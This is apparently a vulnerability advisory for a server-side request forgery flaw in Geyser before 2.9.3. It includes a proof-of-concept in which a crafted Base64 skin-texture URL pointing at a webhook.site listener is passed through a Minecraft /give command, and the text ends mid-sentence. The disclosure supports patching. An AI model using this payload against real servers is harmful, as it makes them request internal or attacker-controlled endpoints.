| Package | Affected versions | Patched versions |
|---|---|---|
| org.geysermc.geyser:core | < 2.9.3 | 2.9.3 |
| geyser | < 2.9.3 | 2.9.3 |
A server-side request forgery (SSRF) vulnerability exists in Geyser’s handling of Bedrock player head texture data. By supplying a crafted Base64-encoded skin texture URL via the /give command, an attacker can cause the Minecraft server to issue arbitrary HTTP GET requests to attacker-controlled or internal endpoints. This occurs server-side, without proper URL validation, and can be triggered by a Bedrock client.
Geyser allows Bedrock clients to interact with Java Edition mechanics, including the creation of custom player heads using the minecraft:profile NBT structure.
When a player head is created with a custom textures property, Geyser processes the Base64-encoded JSON value and forwards the embedded texture URL for resolution. However, the URL contained in the textures.SKIN.url field is not sufficiently validated.
Setup Environment:
Prepare Listener:
https://webhook.site/YOUR-UUID).Construct Payload:
{"textures":{"SKIN":{"url":"https://webhook.site/YOUR-UUID"}}}echo -n '{"textures":{"SKIN":{"url":"..."}}}' | base64)Execute Command:
/give @p minecraft:player_head[minecraft:profile={properties:[{name:"textures",value:"[PASTE_BASE64_HERE]"}]}]Verify:
This vulnerability allows server-side request forgery (SSRF) from the Minecraft server to arbitrary HTTP endpoints.
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freeAlthough the vulnerability is blind SSRF (no response data returned to the attacker), it is still useful for: